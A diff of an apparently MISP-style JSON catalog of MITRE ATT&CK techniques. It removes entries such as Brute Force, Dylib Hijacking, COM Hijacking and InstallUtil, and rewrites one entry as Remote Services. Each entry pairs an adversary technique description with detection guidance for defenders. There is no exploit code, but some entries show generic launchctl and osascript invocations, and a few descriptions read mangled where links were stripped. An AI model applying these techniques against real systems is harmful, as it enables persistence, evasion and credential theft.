"uuid": "8bf7a62e-e2a2-4f7b-94fb-eadcff06194f" - }, - "value": "Setuid and Setgid" - }, - { - "description": "Adversaries may use brute force techniques to attempt access to accounts when passwords are unknown or when password hashes are obtained.\n\nCredential Dumping to obtain password hashes may only get an adversary so far when Pass the Hash is not an option. Techniques to systematically guess the passwords used to compute hashes are available, or the adversary may use a pre-computed rainbow table. Cracking hashes is usually done on adversary-controlled systems outside of the target network.Valid Accounts. If authentication failures are high, then there may be a brute force attempt to gain access to a system using legitimate credentials.\n\nAlso monitor for many failed authentication attempts across various accounts that may result from password spraying attempts.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X\n\nData Sources: Authentication logs\n\nContributors: John Strand", + "description": "An adversary may use valid credentials to log into a service specifically designed to accept remote connections, such as telnet, SSH, and VNC. The adversary may then perform actions as the logged-on user.\n\nDetection: Correlate use of login activity related to remote services with unusual behavior or other malicious or suspicious activity. Adversaries will likely need to learn about an environment and the relationships between systems through [[Discovery]] techniques prior to attempting [[Lateral Movement]].\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X\n\nData Sources: Authentication logs", "meta": { "mitre_data_sources": [ "Authentication logs" @@ -1649,838 +4403,11 @@ "OS X" ], "refs": [ - "https://attack.mitre.org/wiki/Technique/T1110", - "http://www.blackhillsinfosec.com/?p=4645", - "http://www.cylance.com/assets/Cleaver/Cylance%20Operation%20Cleaver%20Report.pdf", - "https://en.wikipedia.org/wiki/Password%20cracking" + "https://attack.mitre.org/wiki/Technique/T1021" ], - "uuid": "a93494bb-4b80-4ea1-8695-3236a49916fd" + "uuid": "54a649ff-439a-41a4-9856-8d144a2551ba" }, - "value": "Brute Force" - }, - { - "description": "Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in Reg may be used for local or remote Registry modification.Valid Accounts are required, along with access to the remote system's Windows Admin Shares for RPC communication.\n\nDetection: Modifications to the Registry are normal and occur throughout typical use of the Windows operating system. Changes to Registry entries that load software on Windows startup that do not correlate with known software, patch cycles, etc., are suspicious, as are additions or changes to files within the startup folder. Changes could also include new services and modification of existing binary paths to point to malicious files. If a change to a service-related entry occurs, then it will likely be followed by a local or remote service start or restart to execute the file.\n\nMonitor processes and command-line arguments for actions that could be taken to change or delete information in the Registry. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell, which may require additional logging features to be configured in the operating system to collect necessary information for analysis.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Windows Registry, File monitoring, Process monitoring, Process command-line parameters", - "meta": { - "mitre_data_sources": [ - "Windows Registry", - "File monitoring", - "Process monitoring", - "Process command-line parameters" - ], - "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Windows 10" - ], - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1112", - "https://technet.microsoft.com/en-us/library/cc754820.aspx", - "https://technet.microsoft.com/en-us/library/cc732643.aspx" - ], - "uuid": "57340c81-c025-4189-8fa0-fc7ede51bae4" - }, - "value": "Modify Registry" - }, - { - "description": "Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations.\n\n===Mac===\n\nOn OSX, the native command screencapture is used to capture screenshots.\n\n===Linux===\n\nOn Linux, there is the native command xwd.[[Citation: Antiquated Mac Malware]]\n\nDetection: Monitoring for screen capture behavior will depend on the method used to obtain data from the operating system and write output files. Detection methods could include collecting information from unusual processes using API calls used to obtain image data, and monitoring for image files written to disk. The sensor data may need to be correlated with other events to identify malicious activity, depending on the legitimacy of this behavior within a given network environment.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X\n\nData Sources: API monitoring, Process monitoring, File monitoring", - "meta": { - "mitre_data_sources": [ - "API monitoring", - "Process monitoring", - "File monitoring" - ], - "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Windows 10", - "Linux", - "MacOS", - "OS X" - ], - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1113", - "https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/" - ], - "uuid": "0259baeb-9f63-4c69-bf10-eb038c390688" - }, - "value": "Screen Capture" - }, - { - "description": "macOS and OS X applications send AppleEvent messages to each other for interprocess communications (IPC). These messages can be easily scripted with AppleScript for local or remote IPC. Osascript executes AppleScript and any other Open Scripting Architecture (OSA) language scripts. A list of OSA languages installed on a system can be found by using the osalang program.\nAppleEvent messages can be sent independently or as part of a script. These events can locate open windows, send keystrokes, and interact with almost any open application locally or remotely. \n\nAdversaries can use this to interact with open SSH connection, move to remote machines, and even present users with fake dialog boxes. These events cannot start applications remotely (they can start them locally though), but can interact with applications if they're already running remotely. Since this is a scripting language, it can be used to launch more common techniques as well such as a reverse shell via python [[Citation: Macro Malware Targets Macs]]. Scripts can be run from the command lie via osascript /path/to/script or osascript -e \"script here\".\n\nDetection: Monitor for execution of AppleScript through osascript that may be related to other suspicious behavior occurring on the system.\n\nPlatforms: MacOS, OS X\n\nData Sources: API monitoring, System calls, Process Monitoring, Process command-line parameters", - "meta": { - "mitre_data_sources": [ - "API monitoring", - "System calls", - "Process Monitoring", - "Process command-line parameters" - ], - "mitre_platforms": [ - "MacOS", - "OS X" - ], - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1155", - "https://securingtomorrow.mcafee.com/mcafee-labs/macro-malware-targets-macs/" - ], - "uuid": "5c4c4c35-d77a-4f2d-88b6-7da63e1f0f06" - }, - "value": "AppleScript" - }, - { - "description": "Launchctl controls the macOS launchd process which handles things like launch agents and launch daemons, but can execute other commands or programs itself. Launchctl supports taking subcommands on the command-line, interactively, or even redirected from standard input. By loading or reloading launch agents or launch daemons, adversaries can install persistence or execute changes they made [[Citation: Sofacy Komplex Trojan]]. Running a command from launchctl is as simple as launchctl submit -l -- /Path/to/thing/to/execute \"arg\" \"arg\" \"arg\". Loading, unloading, or reloading launch agents or launch daemons can require elevated privileges. \n\nAdversaries can abuse this functionality to execute code or even bypass whitelisting if launchctl is an allowed process.\n\nDetection: Knock Knock can be used to detect persistent programs such as those installed via launchctl as launch agents or launch daemons. Additionally, every launch agent or launch daemon must have a corresponding plist file on disk somewhere which can be monitored. Monitor process execution from launchctl/launchd for unusual or unknown processes.\n\nPlatforms: MacOS, OS X\n\nData Sources: File monitoring, Process Monitoring, Process command-line parameters", - "meta": { - "mitre_data_sources": [ - "File monitoring", - "Process Monitoring", - "Process command-line parameters" - ], - "mitre_platforms": [ - "MacOS", - "OS X" - ], - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1152", - "https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/" - ], - "uuid": "bff9f35b-6231-450f-b657-4745870a9462" - }, - "value": "Launchctl" - }, - { - "description": "If a malicious tool is detected and quarantined or otherwise curtailed, an adversary may be able to determine why the malicious tool was detected (the indicator), modify the tool by removing the indicator, and use the updated version that is no longer detected by the target's defensive systems or subsequent targets that may use similar systems.\n\nA good example of this is when malware is detected with a file signature and quarantined by anti-virus software. An adversary who can determine that the malware was quarantined because of its file signature may use Software Packing or otherwise modify the file so it has a different signature, and then re-use the malware.\n\nDetection: The first detection of a malicious tool may trigger an anti-virus or other security tool alert. Similar events may also occur at the boundary through network IDS, email scanning appliance, etc. The initial detection should be treated as an indication of a potentially more invasive intrusion. The alerting system should be thoroughly investigated beyond that initial alert for activity that was not detected. Adversaries may continue with an operation, assuming that individual events like an anti-virus detect will not be investigated or that an analyst will not be able to conclusively link that event to other activity occurring on the network.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X\n\nData Sources: Process use of network, Process monitoring, Process command-line parameters, Anti-virus, Binary file metadata", - "meta": { - "mitre_data_sources": [ - "Process use of network", - "Process monitoring", - "Process command-line parameters", - "Anti-virus", - "Binary file metadata" - ], - "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Windows 10", - "Linux", - "MacOS", - "OS X" - ], - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1066" - ], - "uuid": "00d0b012-8a03-410e-95de-5826bf542de6" - }, - "value": "Indicator Removal from Tools" - }, - { - "description": "macOS and OS X use a common method to look for required dynamic libraries (dylib) to load into a program based on search paths. Adversaries can take advantage of ambiguous paths to plant dylibs to gain privilege escalation or persistence.\n\nA common method is to see what dylibs an application uses, then plant a malicious version with the same name higher up in the search path. This typically results in the dylib being in the same folder as the application itself[[Citation: Writing Bad Malware for OSX]][[Citation: Malware Persistence on OS X]].\nIf the program is configured to run at a higher privilege level than the current user, then when the dylib is loaded into the application, the dylib will also run at that elevated level. This can be used by adversaries as a privilege escalation technique.\n\nDetection: Objective-See's Dylib Hijacking Scanner can be used to detect potential cases of dylib hijacking. Monitor file systems for moving, renaming, replacing, or modifying dylibs. Changes in the set of dylibs that are loaded by a process (compared to past behavior) that do not correlate with known software, patches, etc., are suspicious. Check the system for multiple dylibs with the same name and monitor which versions have historically been loaded into a process.\n\nPlatforms: MacOS, OS X\n\nData Sources: File monitoring\n\nEffective Permissions: Administrator, root", - "meta": { - "mitre_data_sources": [ - "File monitoring" - ], - "mitre_platforms": [ - "MacOS", - "OS X" - ], - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1157", - "https://www.blackhat.com/docs/us-15/materials/us-15-Wardle-Writing-Bad-A-Malware-For-OS-X.pdf", - "https://www.rsaconference.com/writable/presentations/file%20upload/ht-r03-malware-persistence-on-os-x-yosemite%20final.pdf" - ], - "uuid": "0375badc-b2da-4438-b0c5-1e6c6b3285a3" - }, - "value": "Dylib Hijacking" - }, - { - "description": "When a file is opened, the default program used to open the file (also called the file association or handler) is checked. File association selections are stored in the Windows Registry and can be edited by users, administrators, or programs that have Registry access.[[Citation: Microsoft Change Default Programs]][[Citation: Microsoft File Handlers]] Applications can modify the file association for a given file extension to call an arbitrary program when a file with the given extension is opened.\n\nDetection: Collect and analyze changes to Registry keys that associate file extensions to default applications for execution and correlate with unknown process launch activity or unusual file types for that process. \n\nUser file association preferences are stored under [HKEY_CURRENT_USER]\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\FileExts and override associations configured under [HKEY_CLASSES_ROOT]. Changes to a user's preference will occur under this entry's subkeys.\n\nAlso look for abnormal process call trees for execution of other commands that could relate to [[Discovery]] actions or other techniques.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Windows Registry, Process monitoring, Process command-line parameters\n\nContributors: Stefan Kanthak", - "meta": { - "mitre_data_sources": [ - "Windows Registry", - "Process monitoring", - "Process command-line parameters" - ], - "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Windows 10" - ], - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1042", - "http://msdn.microsoft.com/en-us/library/bb166549.aspx", - "https://support.microsoft.com/en-us/help/18539/windows-7-change-default-programs" - ], - "uuid": "68c96494-1a50-403e-8844-69a6af278c68" - }, - "value": "Change Default File Association" - }, - { - "description": "Adversaries can hide a program's true filetype by changing the extension of a file. With certain file types (specifically this does not work with .app extensions), appending a space to the end of a filename will change how the file is processed by the operating system. For example, if there is a Mach-O executable file called evil.bin, when it is double clicked by a user, it will launch Terminal.app and execute. If this file is renamed to evil.txt, then when double clicked by a user, it will launch with the default text editing application (not executing the binary). However, if the file is renamed to \"evil.txt \" (note the space at the end), then when double clicked by a user, the true file type is determined by the OS and handled appropriately and the binary will be executed[[Citation: Mac Backdoors are back]]. \n\nAdversaries can use this feature to trick users into double clicking benign-looking files of any format and ultimately executing something malicious.\n\nDetection: It's not common for spaces to be at the end of filenames, so this is something that can easily be checked with file monitoring. From the user's perspective though, this is very hard to notice from within the Finder.app or on the command-line in Terminal.app. Processes executed from binaries containing non-standard extensions in the filename are suspicious.\n\nPlatforms: Linux, MacOS, OS X\n\nData Sources: File monitoring, Process Monitoring", - "meta": { - "mitre_data_sources": [ - "File monitoring", - "Process Monitoring" - ], - "mitre_platforms": [ - "Linux", - "MacOS", - "OS X" - ], - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1151", - "https://arstechnica.com/security/2016/07/after-hiatus-in-the-wild-mac-backdoors-are-suddenly-back/" - ], - "uuid": "2258e6a4-3281-4244-947b-4323a01a30a7" - }, - "value": "Space after Filename" - }, - { - "description": "Adversaries may target user email to collect sensitive information from a target.\n\nFiles containing email data can be acquired from a user's system, such as Outlook storage or cache files .pst and .ost.\n\nAdversaries may leverage a user's credentials and interact directly with the Exchange server to acquire information from within a network.\n\nSome adversaries may acquire user credentials and access externally facing webmail applications, such as Outlook Web Access.\n\nDetection: There are likely a variety of ways an adversary could collect email from a target, each with a different mechanism for detection.\n\nFile access of local system email files for Windows Management Instrumentation and PowerShell.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Authentication logs, File monitoring, Process monitoring, Process use of network", - "meta": { - "mitre_data_sources": [ - "Authentication logs", - "File monitoring", - "Process monitoring", - "Process use of network" - ], - "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Windows 10" - ], - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1114" - ], - "uuid": "1608f3e1-598a-42f4-a01a-2e252e81728f" - }, - "value": "Email Collection" - }, - { - "description": "An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture.\n\n===Windows===\n\nExample commands and utilities that obtain this information include ver, Systeminfo, and dir within cmd for identifying information based on present files and directories.\n\n===Mac===\n\nOn Mac, the systemsetup command gives a detailed breakdown of the system, but it requires administrative privileges. Additionally, the system_profiler gives a very detailed breakdown of configurations, firewall rules, mounted volumes, hardware, and many other things without needing elevated permissions.\n\nDetection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: Process monitoring, Process command-line parameters", - "meta": { - "mitre_data_sources": [ - "Process monitoring", - "Process command-line parameters" - ], - "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Linux", - "Windows 10", - "MacOS", - "OS X" - ], - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1082" - ], - "uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1" - }, - "value": "System Information Discovery" - }, - { - "description": "Adversaries may attempt to get a listing of network connections to or from the compromised system they are currently accessing or from remote systems by querying for information over the network. \n\n===Windows===\n\nUtilities and commands that acquire this information include netstat, \"net use,\" and \"net session\" with Net.\n\n===Mac and Linux ===\n\nIn Mac and Linux, netstat and lsof can be used to list current connections. who -a and w can be used to show which users are currently logged in, similar to \"net session\".\n\nDetection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X\n\nData Sources: Process monitoring, Process command-line parameters", - "meta": { - "mitre_data_sources": [ - "Process monitoring", - "Process command-line parameters" - ], - "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Windows 10", - "Linux", - "MacOS", - "OS X" - ], - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1049" - ], - "uuid": "7e150503-88e7-4861-866b-ff1ac82c4475" - }, - "value": "System Network Connections Discovery" - }, - { - "description": "Use of two- or multifactor authentication is recommended and provides a higher level of security than user names and passwords alone, but organizations should be aware of techniques that could be used to intercept and bypass these security mechanisms. Adversaries may target authentication mechanisms, such as smart cards, to gain access to systems, services, and network resources.\n\nIf a smart card is used for two-factor authentication (2FA), then a keylogger will need to be used to obtain the password associated with a smart card during normal use. With both an inserted card and access to the smart card password, an adversary can connect to a network resource using the infected system to proxy the authentication with the inserted hardware token.[[Citation: Mandiant M Trends 2011]]\n\nOther methods of 2FA may be intercepted and used by an adversary to authenticate. It is common for one-time codes to be sent via out-of-band communications (email, SMS). If the device and/or service is not secured, then it may be vulnerable to interception. Although primarily focused on by cyber criminals, these authentication mechanisms have been targeted by advanced actors.[[Citation: Operation Emmental]]\n\nOther hardware tokens, such as RSA SecurID, require the adversary to have access to the physical device or the seed and algorithm in addition to the corresponding credentials.\n\nDetection: Detecting use of proxied smart card connections by an adversary may be difficult because it requires the token to be inserted into a system; thus it is more likely to be in use by a legitimate user and blend in with other network behavior.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X\n\nContributors: John Lambert, Microsoft Threat Intelligence Center", - "meta": { - "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Windows 10", - "Linux", - "MacOS", - "OS X" - ], - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1111", - "http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp-finding-holes-operation-emmental.pdf", - "https://dl.mandiant.com/EE/assets/PDF%20MTrends%202011.pdf" - ], - "uuid": "dd43c543-bb85-4a6f-aa6e-160d90d06a49" - }, - "value": "Two-Factor Authentication Interception" - }, - { - "description": "Adversary tools may directly use the Windows application programming interface (API) to execute binaries. Functions such as the Windows API CreateProcess will allow programs and scripts to start other processes with proper path and argument parameters.[[Citation: Microsoft CreateProcess]]\n\nAdditional Windows API calls that can be used to execute binaries include:[[Citation: Kanthak Verifier]]\n\n*CreateProcessA() and CreateProcessW(),\n*CreateProcessAsUserA() and CreateProcessAsUserW(),\n*CreateProcessInternalA() and CreateProcessInternalW(),\n*CreateProcessWithLogonW(), CreateProcessWithTokenW(),\n*LoadLibraryA() and LoadLibraryW(),\n*LoadLibraryExA() and LoadLibraryExW(),\n*LoadModule(),\n*LoadPackagedLibrary(),\n*WinExec(),\n*ShellExecuteA() and ShellExecuteW(),\n*ShellExecuteExA() and ShellExecuteExW()\n\nDetection: Monitoring API calls may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances, since benign use of Windows API functions such as CreateProcess are common and difficult to distinguish from malicious behavior. Correlation of other events with behavior surrounding API function calls using API monitoring will provide additional context to an event that may assist in determining if it is due to malicious behavior. Correlation of activity by process lineage by process ID may be sufficient.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: API monitoring, Process monitoring\n\nContributors: Stefan Kanthak", - "meta": { - "mitre_data_sources": [ - "API monitoring", - "Process monitoring" - ], - "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Windows 10" - ], - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1106", - "http://msdn.microsoft.com/en-us/library/ms682425", - "https://skanthak.homepage.t-online.de/verifier.html" - ], - "uuid": "391d824f-0ef1-47a0-b0ee-c59a75e27670" - }, - "value": "Execution through API" - }, - { - "description": "The Microsoft Component Object Model (COM) is a system within Windows to enable interaction between software components through the operating system.[[Citation: Microsoft Component Object Model]] Adversaries can use this system to insert malicious code that can be executed in place of legitimate software through hijacking the COM references and relationships as a means for persistence. Hijacking a COM object requires a change in the Windows Registry to replace a reference to a legitimate system component which may cause that component to not work when executed. When that system component is executed through normal system operation the adversary's code will be executed instead.[[Citation: GDATA COM Hijacking]] An adversary is likely to hijack objects that are used frequently enough to maintain a consistent level of persistence, but are unlikely to break noticeable functionality within the system as to avoid system instability that could lead to detection.\n\nDetection: There are opportunities to detect COM hijacking by searching for Registry references that have been replaced and through Registry operations replacing know binary paths with unknown paths. Even though some third party applications define user COM objects, the presence of objects within HKEY_CURRENT_USER\\Software\\Classes\\CLSID\\ may be anomalous and should be investigated since user objects will be loaded prior to machine objects in HKEY_LOCAL_MACHINE\\SOFTWARE\\Classes\\CLSID\\.[[Citation: Endgame COM Hijacking]] Registry entries for existing COM objects may change infrequently. When an entry with a known good path and binary is replaced or changed to an unusual value to point to an unknown binary in a new location, then it may indicate suspicious behavior and should be investigated. Likewise, if software DLL loads are collected and analyzed, any unusual DLL load that can be correlated with a COM object Registry modification may indicate COM hijacking has been performed.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Windows Registry, DLL monitoring, Loaded DLLs\n\nContributors: ENDGAME", - "meta": { - "mitre_data_sources": [ - "Windows Registry", - "DLL monitoring", - "Loaded DLLs" - ], - "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Windows 10" - ], - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1122", - "https://blog.gdatasoftware.com/2014/10/23941-com-object-hijacking-the-discreet-way-of-persistence", - "https://msdn.microsoft.com/library/ms694363.aspx", - "https://www.endgame.com/blog/how-hunt-detecting-persistence-evasion-com" - ], - "uuid": "9b52fca7-1a36-4da0-b62d-da5bd83b4d69" - }, - "value": "Component Object Model Hijacking" - }, - { - "description": "Adversaries may collect data stored in the Windows clipboard from users copying information within or between applications. \n\n===Windows===\n\nApplications can access clipboard data by using the Windows API.[[Citation: MSDN Clipboard]] \n\n===Mac===\n\nOSX provides a native command, pbpaste, to grab clipboard contents [[Citation: Operating with EmPyre]].\n\nDetection: Access to the clipboard is a legitimate function of many applications on a Windows system. If an organization chooses to monitor for this behavior, then the data will likely need to be correlated against other suspicious or non-user-driven activity.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X\n\nData Sources: API monitoring", - "meta": { - "mitre_data_sources": [ - "API monitoring" - ], - "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Windows 10", - "Linux", - "MacOS", - "OS X" - ], - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1115", - "http://www.rvrsh3ll.net/blog/empyre/operating-with-empyre/", - "https://msdn.microsoft.com/en-us/library/ms649012" - ], - "uuid": "30973a08-aed9-4edf-8604-9084ce1b5c4f" - }, - "value": "Clipboard Data" - }, - { - "description": "InstallUtil is a command-line utility that allows for installation and uninstallation of resources by executing specific installer components specified in .NET binaries.[[Citation: MSDN InstallUtil]] InstallUtil is located in the .NET directory on a Windows system: C:\\Windows\\Microsoft.NET\\Framework\\v\\InstallUtil.exe.InstallUtil.exe is digitally signed by Microsoft.\n\nAdversaries may use InstallUtil to proxy execution of code through a trusted Windows utility. InstallUtil may also be used to bypass process whitelisting through use of attributes within the binary that execute the class decorated with the attribute [System.ComponentModel.RunInstaller(true)].[[Citation: SubTee GitHub All The Things Application Whitelisting Bypass]]\n\nDetection: Use process monitoring to monitor the execution and arguments of InstallUtil.exe. Compare recent invocations of InstallUtil.exe with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. Command arguments used before and after the InstallUtil.exe invocation may also be useful in determining the origin and purpose of the binary being executed.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Process monitoring, Process command-line parameters\n\nContributors: Casey Smith", - "meta": { - "mitre_data_sources": [ - "Process monitoring", - "Process command-line parameters" - ], - "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Windows 10" - ], - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1118", - "https://msdn.microsoft.com/en-us/library/50614e95.aspx", - "https://github.com/subTee/AllTheThings" - ], - "uuid": "f792d02f-813d-402b-86a5-ab98cb391d3b" - }, - "value": "InstallUtil" - }, - { - "description": "Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, commingling legitimate traffic with C2 communications traffic, or using a non-standard data encoding system, such as a modified Base64 encoding for the message body of an HTTP request.\n\nDetection: Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.[[Citation: University of Birmingham C2]]\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: Packet capture, Process use of network, Process monitoring, Network protocol analysis", - "meta": { - "mitre_data_sources": [ - "Packet capture", - "Process use of network", - "Process monitoring", - "Network protocol analysis" - ], - "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Linux", - "Windows 10", - "MacOS", - "OS X" - ], - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1001", - "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" - ], - "uuid": "ad255bfe-a9e6-4b52-a258-8d3462abe842" - }, - "value": "Data Obfuscation" - }, - { - "description": "Shortcuts or symbolic links are ways of referencing other files or programs that will be opened or executed when the shortcut is clicked or executed by a system startup process. Adversaries could use shortcuts to execute their tools for persistence. They may create a new shortcut as 